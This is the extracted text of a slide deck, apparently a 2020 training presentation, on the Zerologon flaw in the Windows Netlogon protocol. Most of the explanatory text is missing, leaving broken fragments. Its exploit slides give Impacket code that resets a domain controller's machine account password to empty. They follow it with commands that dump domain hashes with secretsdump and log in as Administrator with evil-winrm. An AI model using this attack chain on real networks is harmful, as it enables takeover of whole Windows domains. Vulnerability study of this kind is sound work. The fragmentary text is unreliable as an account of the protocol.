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Overview
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Netlogon Protocol Explained
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Protocol Flow
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Steps for  Protocol Flow

nonce ClientChallenge (CC)
CC

NetrServerReqChallenge

nonce ServerChallenge (SC)
NetrServerReqChallenge

nonces

CC Shared Secret Session Key
ComputeSessionKey

Shared Secret

Session Key CC
ClientCredential ComputeNetlogonCredential

CC
ClientCredential Shared Secret

NetrServerAuthenticate , NetrServerAuthenticate2  NetrServerAuthenticate3
ClientCredential

Session Key CC
Session Key Shared Secret  ClientCredential

ComputeNetlogonCredential

● NetrServerReqChallenge
● NetrServerAuthenticate
● ComputeSessionKey
● ComputeNetlogonCredential
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Vulnerability

 ComputeNetlogonCredential

ComputeNetlogonCredential(Input, Sk, Output)
SET IV = 0 
CALL AesEncrypt(Input, Sk, IV, Output) 

SessionKey 

↓
CC ---(AES-CFB8)--->ClientCredential 

A. ComputeNetlogonCredential

https://t.me/learningnets

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/13db7494-6d2c-4448-be8f-cb5ba03e95d6
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Vulnerability

ComputeNetlogonCredential

B. Insecure use of AES-CFB8
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Vulnerability

B. Insecure use of AES-CFB8

CC
ComputeNetlogonCredential

CC
Session

Key

   SessionKey 

      ↓
All-zero CC ---(AES-CFB8)---> All-zero ClientCredential //with a high chance

https://t.me/learningnets



10Lucideus 2020

Client Challenge (CC)

CC 0000000000000000 ClientCredential

0000000000000000

0000000000000000

Session Key

CC

 NetrServerPasswordSet2

How to check for vulnerability

Requirements

https://t.me/learningnets
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How to check for vulnerability

git clone https://github.com/SecuraBV/CVE-2020-1472.git 

pip install virtualenv #install python module virtualenv

https://t.me/learningnets

https://github.com/SecuraBV/CVE-2020-1472
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python -m virtualenv impkt0logon 

source impkt/bin/activate 

To install the requirements and Impacket libraries: 

pip install git+https://github.com/SecureAuthCorp/impacket 

pip install -r requirements.txt 

How to check for vulnerability

https://t.me/learningnets
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●

●

Running the tester

./zerologon_tester.py DC-NAME IP-ADDRESS

https://t.me/learningnets
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Crafting Exploit

perform_attack()

A. Explaining the tester script

try_zero_authenticate() 

https://t.me/learningnets
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Crafting Exploit

CC

NetrServerReqChallenge CC

NetrServerAuthenticate

CC rpc_con

perform_attack()

B. Modifying the tester script

NetrServerAuthenticate

NetrServerPasswordSet2

NTSTATUS NetrServerPasswordSet2( 
[in, unique, string] LOGONSRV_HANDLE PrimaryName,
[in, string] wchar_t* AccountName, 
[in] NETLOGON_SECURE_CHANNEL_TYPE SecureChannelType, 
[in, string] wchar_t* ComputerName, 
[in] PNETLOGON_AUTHENTICATOR Authenticator, 
[out] PNETLOGON_AUTHENTICATOR ReturnAuthenticator, 
[in] PNL_TRUST_PASSWORD ClearNewPassword 

); 

https://t.me/learningnets
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Crafting Exploit

B. Modifying the tester script
NetrServerPasswordSet2

newPassRequest = nrpc.NetrServerPasswordSet2() 

newPassRequest['PrimaryName'] = dc_handle + '\x00' 

newPassRequest['AccountName'] = target_computer + '$\x00' 

newPassRequest['SecureChannelType']=nrpc.NETLOGON_SECURE_CH
ANNEL_TYPE.ServerSecure auth = 
nrpc.NETLOGON_AUTHENTICATOR() 

auth['Credential'] = b'\x00' * 8 

auth['Timestamp'] = 0 

newPassRequest['Authenticator'] = auth 

newPassRequest['ComputerName'] = target_computer + '\x00' 

newPassRequest['ClearNewPassword'] = b'\x00' * 516 

#Triggers password reset 

rpc_con.request(newPassRequest)

https://t.me/learningnets
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Crafting Exploit

B. Modifying the tester script

rpc_con

try_zero_authenticate()

https://t.me/learningnets
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Exploitation

./zeroLogon-NullPass.py DC-NAME IP-ADDRESS

secretsdump.py -just-dc -no-pass DC-NAME\$@IP-ADDRESS

evil-winrm -u Administrator -H LOCAL-ADMIN-HASH -i IP-ADDRESS

https://t.me/learningnets
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Exploitation

NetrServerPasswordSet2

Request

https://t.me/learningnets
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Exploitation

Response
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Mitigation and Prevention
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